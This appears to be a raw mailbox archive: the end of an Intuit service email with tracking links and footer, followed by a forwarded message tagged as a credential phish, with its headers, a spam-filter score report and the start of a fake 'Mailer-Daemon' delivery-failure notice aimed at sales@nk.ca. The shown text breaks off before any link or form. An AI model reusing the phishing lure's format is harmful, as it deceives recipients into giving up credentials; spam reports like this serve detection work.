WyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7s=

N15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2Fbgy=

kQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1G=

sB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5J=

WZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-=

2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LDYBUUtTfsoHoZtTX0CgoNSBkrsKYGRSlNvIzo=

qdfkoz9xKznZNXv51NPo-2B4N7Uin4ff3aOrtIkEYvAmOldlhUdHwqoZKIF7DwiWbOYjqwPcbTP=

Jdo-2BAMHZ-2FA-2BPvO6Q8D0TJtgiu8u92BZItgCRqRqIwlWihBa-2BFnq65inq8NUWQqXhUIa=

nYt7BeZNLJaIigRg-3D" style=3D"color:#077DC6; text-decoration:none!important=

;" target=3D"_blank">https://www.intuit.com/privacy/
).


Visit Legal (
upn=3Du001.C9ANdvTYX227JkDSVWi87SLSj81B264OYNNlpD-2BCTPL-2FnAJO3Dfv-2BKhS4c=

Davl-2B6t_lk_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2B=

ZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlb=

CoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbOb=

BRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M1=

2LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2p=

F8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3F=

WWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5ho=

B19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs=

4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU=

5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1=

GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LBbF-2BZySQWtLM=

ctzyQGYKOxRkYKJK4fHvH4biYniUJE52neQkMS6XrivWBs00u8KYqxHUdd2SWX9llrJ4Z2CIsZv=

yu-2BpbVCTOTmwAlssTMcbmH3110UN3PKvtW5gfTmTwgQJwbVr8jqaftvUw74dr1APZLcwE3JyJ=

I-2F0GMDr8-2BGs5YQ8kTiA-2BjoI4OsOUn2Mgk-3D" style=3D"color:#077DC6; text-de=

coration:none!important;" target=3D"_blank">https://www.intuit.com/legal/
a>) to find out more.

>

 


IMPORTANT NOTICE: This notification is being sent to inform you of=

a critical matter concerning your current service, software or billing. Pl=

ease note that if you previously opted out of receiving marketing materials=

from Intuit, you may continue to receive notifications similar to this com=

munication. DO NOT REPLY to this email, this inbox is not monitored
tyle=3D"white-space: nowrap;">for replies.



 


 


This message was sent to

ext-decoration:none!important;" target=3D"_blank"> you
, as an Intuit cu=

stomer, consistent with your
/click?upn=3Du001.C9ANdvTYX227JkDSVWi87cmREtoVnmlpmot2HEHwMiOEqo28BeWINThlC=

R-2BpM-2BWjO1LgRrSsJHfip1hCt5nTWKbATfzoUlRksG9C9ScTkV6wJe9FtfasDGvbIdF1JOx5=

Tq7l164t4Kmhv94v61JeFzDbRu0EvnBj976nUcchXEb3udEBJLFQ6JIlJL6nCiCEM7N6_7-2B-2=

F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4C=

lDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu=

9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4ax=

OT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod=

2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv=

5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-=

2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2=

FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW42=

5R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6Ksg=

Gm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4V=

Jx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LBhtrr7UK9E9LHthiIZi8bSI0KP4zIfLjM=

tUeZS09eDf14vsAzYcy9yGZ5LodY3r8L62q-2Bq-2FyUqj-2FaP1EE0ZS3oRuIYRDyLEj45B-2B=

YSWtQF7aIGGxPfqVmstm-2FR7pHx3w2ynHu2GI-2BA8O3iwSIIsLtm1C5TIpHvf6v6kATw4AcrL=

nElWoK6u3CUjP10ZEY1vv4-3D" style=3D"color:#077DC6; text-decoration:none!imp=

ortant;" target=3D"_blank">email preferences
. If you have chosen not to=

receive marketing messages, you will continue to receive business communic=

ations about your selected Intuit product(s), which may either affect your =

service or software, your account, or which may be legally required. If you=

receive a suspicious email, please report it by forwarding the email to
href=3D"mailto:spoof@intuit.com" style=3D"color:#6B6C72; text-decoration:u=

nderline!important;" target=3D"_blank">spoof@intuit.com.


 



ANdvTYX227JkDSVWi87X9OooNHmQG9eX1hhVT3-2FwDPh-2FO4XT40cbsVG0H2B9l7stqNF7Zvp=

JsZ-2Feiou0Aj5g-3D-3Dg5TG_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyT=

VnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bX=

WvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSp=

H3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saR=

QePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0b=

dQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJ=

y167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVd=

y58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZ=

g1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9T=

KEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7c=

coIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LB=

Zr9dorlmPlG7lhSt8aSiVsIF4ADBFiDmI1Xnf35Zv5oGF2G6O9sJmroLNqogtJvR1qKsZBTjbQg=

McMo5zODFO277j3Z6GUisPL72-2BEJXuM3XRzAFRqd42E-2BIFALyHFGZ3Et7eAImSvCZY4INv1=

CJ9v5uwHvYJTj9nFvrlfrQFE8z5FSwcsTaeDQ4NimHzokM-3D" style=3D"color:#077DC6; =

text-decoration:none!important;" target=3D"_blank">Terms of service


/>


ANdvTYX227JkDSVWi87TyjSWhU6mXtBhb2dA39nAy2CX-2BeKm8Of2v36wj-2FkNihApB__7-2B=

-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK=

4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsC=

cu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4=

axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscH=

od2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQU=

Nv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH=

9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC=

-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW=

425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6K=

sgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW=

4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LA6LF936fLFZ9Ap2yIPlDNTA4EleCzTi=

qOZdLgSb8LFbYz339wg2YeKsQG5i9iLWjlu-2Fp-2BaFAk7h-2FIosxKyBBHieUYGzS-2FkAGCB=

5eSQRzX1zw5WCH69hjmPlg2Qwn6-2FslYnYZOAiQEPpOO1nE-2BQ178pq5VTBA1Dk8fB9AOHrdC=

rmZrGOmPtTRPWNJolUBOk5pc-3D" style=3D"color:#077DC6; text-decoration:none!i=

mportant;" target=3D"_blank">Security

ndgrid.net/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87SFKuNJHR3zi6FTkhZTZmFal=

tS2ixeDHtrx7SIMALVExVjcXzGnrTjXPenrSf4OsPw-3D-3D_v0S_7-2B-2F6303DPKGgWagyHs=

pi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6B=

rhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-=

2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-=

2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH=

0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjP=

mH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2F=

aYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2Bn=

KSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4=

-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw7=

6vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2=

FZXNMhW4z9mNLvFaLr7wxQeU6LDr5Qo-2Fwv-2F54enmRHj-2FgM5j6wtCjR9MuEFcKaAoIWRLD=

EW0na2iCuQ5jmmwJGUez8byhYlAJOIYbapdeWk09X1cOqJLa50TOFXP9qniEYDbEAZd2l9-2BuK=

8XqnSoG2dOe3UIQStOBGOhb9RiCumc9H8-2BJCgSV23KR-2BXXarlNpzVf7-2BgsTT0l6bg-2FI=

xrof9SI-2F3s-3D" style=3D"color:#077DC6; text-decoration:none!important;" t=

arget=3D"_blank">Privacy Statement.



© 2026 Intuit Inc.
t/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87SLSj81B264OYNNlpD-2BCTPJOzx4jSS9=

ya01x-2FKBMsCq57-iv_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22=

Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr8=

9LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC8=

4-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQS=

L8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QH=

SAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dc=

wLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3H=

BH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4=

BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR40=

0tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPa=

pbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LC-2Bs6N=

M-2B5QVbXyXN50UEby0eOfdtNvTpARhiEdAMMWJKxudjkR76ycvVH-2BL7F-2BwUXgls-2BoWmQ=

XQHvAoJdWZQX5NIEm17g8-2FuuRULEkfA4DOhvb2CNc7-2B8jbqnw0iUm4k0KlxAEClhUZqtWQM=

-2BPuMa67JVowyDah2bWmS-2B-2BaIs1pmjVbZiv0RRd-2F7-2BKxptsxtm8-3D" style=3D"c=

olor:#077DC6; text-decoration:none!important;" target=3D"_blank">Trademarks=

=2E



2‍800 E. Commerce Center Place, T‍ucson, A‍Z 8‍570=

6

icubic; display:block; font-size:14px; font-family:'Avenir Next', Avenir, H=

elvetica, sans-serif; color:#393A3D; text-align: center;" alt=3D"Intuit" bo=

rder=3D"0" class=3D"hide" height=3D"50" src=3D"cid:socialfooterdesktop2.png=

" width=3D"600" /=3D"">

1px;padding:0px;">
all; display:none;" alt=3D"" border=3D"0" class=3D"mobile_dualimage" src=3D=

"cid:socialfootermobile2.png" /=3D"" width=3D"640" height=3D"241">

de: bicubic; display:block;" alt=3D"" border=3D"0" height=3D"20" src=3D"cid=

:socialspacer.png" width=3D"1" /=3D"">



bicubic; display:block;" alt=3D"" border=3D"0" class=3D"hide" height=3D"1"=

src=3D"cid:socialspacer.png" width=3D"20" /=3D"">


 
d>


:1px;height:1px;"> 






 





th:1px !important;border-width:0 !important;margin-top:0 !important;margin-=

bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padd=

ing-top:0 !important;padding-bottom:0 !important;padding-right:0 !important=

;padding-left:0 !important;" alt=3D"" border=3D"0" height=3D"1" src=3D"cid:=

open" width=3D"1" /=3D"">







------=_NextPart_000_0012_3DF96F96.FD05673C

Content-Type: image/png; name="socialspacer.png"

Content-Transfer-Encoding: base64

Content-ID:



iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAAXNSR0IArs4c6QAAABdJREFU

KFNjZCASMBKpjmFUId6QIjp4AAppAAuXjCs4AAAAAElFTkSuQmCC



------=_NextPart_000_0012_3DF96F96.FD05673C

Content-Type: image/png; name="socialqblogo2.png"

Content-Transfer-Encoding: base64

Content-ID:

...

------=_NextPart_000_0012_3DF96F96.FD05673C

Content-Type: application/octet-stream; name="open"

Content-Transfer-Encoding: base64

Content-ID:



R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==



------=_NextPart_000_0012_3DF96F96.FD05673C--



Nk.CA credential phish from Google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:02:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EYX-00000000Fc1-3VL5

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:01:09 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:01:09 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-oi1-f230.google.com ([209.85.167.230]:50677)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2Bfs-00000000EQt-089i

for sales@nk.ca;

Thu, 03 Sep 2026 11:56:41 -0600

Received: by mail-oi1-f230.google.com with SMTP id 5614622812f47-4a483a552efso77641b6e.1

for ; Thu, 03 Sep 2026 10:55:44 -0700 (PDT)

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1788458139; x=1789062939;

h=content-transfer-encoding:content-type:mime-version:message-id:date

:subject:to:from:reply-to:x-gm-gg:x-gm-message-state:from:to:cc

:subject:date:message-id:reply-to:content-type;

bh=NKadRwQVeJNeMs/MICQ3Bpac87pUdSeImLkq/rsPrx4=;

b=kMV5qJNrpQM+MpNrnc/RTGkPnsNUCa88UTf4xK+49MF8SAZ3+utW3Ec/PMkeGkvOhK

hqBGPFsXjBVltqKT4zGkLpNx3xkmzfROcAuooh12sjvk2IPKVGw5Cm0UAUz2jIC8TI6n

eowXhflOLtIPcru/wm6ocXmoLeIj/se470US12zjKRuXORJBjoyD7gtAjAZ35C+UZ5+n

O6L1J07qIxKrG3NmzvNsQCmGhMwO0+161RXNQZ/3aMKgBGgQ7OGHZonEP1Su1F+5lUQ3

MGvdwjYHRzf63zB7t8Xdv/qmJBwi7qbic/8FRlQHuraMfi9RswGNRukc+i9rZjlKKMfT

k4sg==

X-Gm-Message-State: AFuF++lgHPLTLwyH/BmQi0wpyfgKjnm11GaIwG1N/k6RR5kln8vCqiEG

l8BaAqMIvcNty0y1lXztn58iwL4hPIWh4bQYu+LMZl1BfbBHpkkN5HrLiPtJHLYl/tt3utG/cll

8JI616eqa3ZnLPb6bLTf4BsuyoCk06OQdSMvjJ+ZgnIIveMI=

X-Gm-Gg: AYBFou1FVd/5BO6ePW6VLIY7nwbg0ZN5g1iipJokz68YPJlJz1oaR1rYgnxzp7s9aT5

5E3COQlLo/rfyh8MODTJljvZzYZGlR5r63dZ1KtVAw7xJcrZnGQX+fsy7nybz8DEGsOmHSfpCsE

8TB6JrRSFH0FIGPkZdt8htpbx4E93pycPBnZsEBjcHie2rSDWbBPqWCSOyeHEP2enqFc8hiQvTr

yB4X4I2qTPRCoNBYzTj0J2txALnFJrVKpr3Z2V0Zv5lF5u2zSnNEzXBLmBPwDqO9L5N+xklCPjD

EmVuCslPNN1wNBO/ijbsFo8S3Ye/qiJ4n724Oh9qwG9KdwR11Re5LStIVFtvhfRtHlznDmlwVBM

85p6tUZU/SQ==

X-Received: by 2002:a05:6820:3090:b0:6ae:8ee4:e01f with SMTP id 006d021491bc7-6b6fa7e02abmr443770eaf.4.1788458138708;

Thu, 03 Sep 2026 10:55:38 -0700 (PDT)

Received: from sabeng.it ([189.12.238.228])

by smtp-relay.gmail.com with ESMTPS id 006d021491bc7-6b6db70c25csm12074eaf.24.2026.09.03.10.55.38

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Thu, 03 Sep 2026 10:55:38 -0700 (PDT)

X-Relaying-Domain: sabeng.it

Reply-To: nk.ca IT Admin

From: nk.ca IT Admin

To: sales@nk.ca

Subject: Message Delivery Failed -sales@nk.ca

Date: 03 Sep 2026 10:55:38 -0700

Message-ID: <20260903105538.1EB651FB477836EA@sabeng.it>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 8.5

X-Spam_score_int: 85

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Mailer-Daemon Host Services Group Recipient: sales@nk.ca

;



Content analysis details: (8.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[189.12.238.228 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

[209.85.167.230 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.167.230 listed in dnsbl.ahbl.org]

[209.85.167.230 listed in dnsbl.ahbl.org]

[209.85.167.230 listed in dnsbl.ahbl.org]

[209.85.167.230 listed in dnsbl.ahbl.org]

[189.12.238.228 listed in dnsbl.ahbl.org]

[189.12.238.228 listed in dnsbl.ahbl.org]

[189.12.238.228 listed in dnsbl.ahbl.org]

[189.12.238.228 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.167.230 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.167.230 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.167.230 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.167.230 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.167.230 listed in list.dnswl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[209.85.167.230 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.167.230 listed in bl.score.senderscore.com]

1.3 URI_HEX URI: URI hostname has long hexadecimal sequence

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.1 MXG_EMAIL_FRAG BODY: URI with email in fragment

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted

Colors in HTML

1.0 IMPRO_URI_2 No description available.

1.2 PDS_FROM_NAME_TO_DOMAIN From:name looks like To:domain

0.0 NO_RDNS2 Sending MTA has no reverse DNS

0.4 PDS_FRNOM_TODOM_NAKED_TO Naked to From name equals to Domain

2.0 MIXED_HREF_CASE Has href in mixed case

Subject: {SPAM?} Message Delivery Failed -sales@nk.ca






>






, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=

: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=

IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=

mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=

atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =

text-decoration-thickness: initial;=20

text-decoration-style: initial; text-decoration-color: initial">
=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">Mailer-Daemon
 =

                   =

       
-box; FONT-WEIGHT: bolder">
ION: none; COLOR: ; BACKGROUND-COLOR: transparent">Host Services Group
<=

/SPAN>

            
BR style=3D"BOX-SIZING: border-box">      &nb=

sp;      
x; FONT-WEIGHT: bolder">Recipient: sales@nk.ca




-FAMILY: Helvetica, Arial, sans-serif; WIDTH: 557px; WHITE-SPACE: normal; W=

ORD-SPACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEI=

GHT: 400; COLOR: rgb(34,34,34); PADDING-BOTTOM: 0px; FONT-STYLE: normal; TE=

XT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-SPACING: 0px; O=

RPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUN=

D-COLOR: rgb(255,255,255); font-variant-ligatures:=20

normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-dec=

oration-thickness: initial; text-decoration-style: initial; text-decoration=

-color: initial" cellspacing=3D"0" cellpadding=3D"0">














ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 180px; PADDI=

NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIG=

HT: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#c00000" height=3D"10" width=3D"18=

0"> 

ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 4px; PADDING=

-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT=

: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#ffffff" height=3D"10" width=3D"4"><=

BR style=3D"BOX-SIZING: border-box">

ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 180px; PADDI=

NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIG=

HT: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#cccccc" height=3D"10" width=3D"18=

0">

ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 4px; PADDING=

-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT=

: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#ffffff" height=3D"10" width=3D"4"><=

BR style=3D"BOX-SIZING: border-box">

ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 180px; PADDI=

NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIG=

HT: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#cccccc" height=3D"10" width=3D"18=

0">

            &nb=

sp;            =

       =

            &nb=

sp;            =

    

            &n=

bsp;       ;     &nb=

sp;            =

        




a, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFOR=

M: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-A=

LIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR=

: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-=

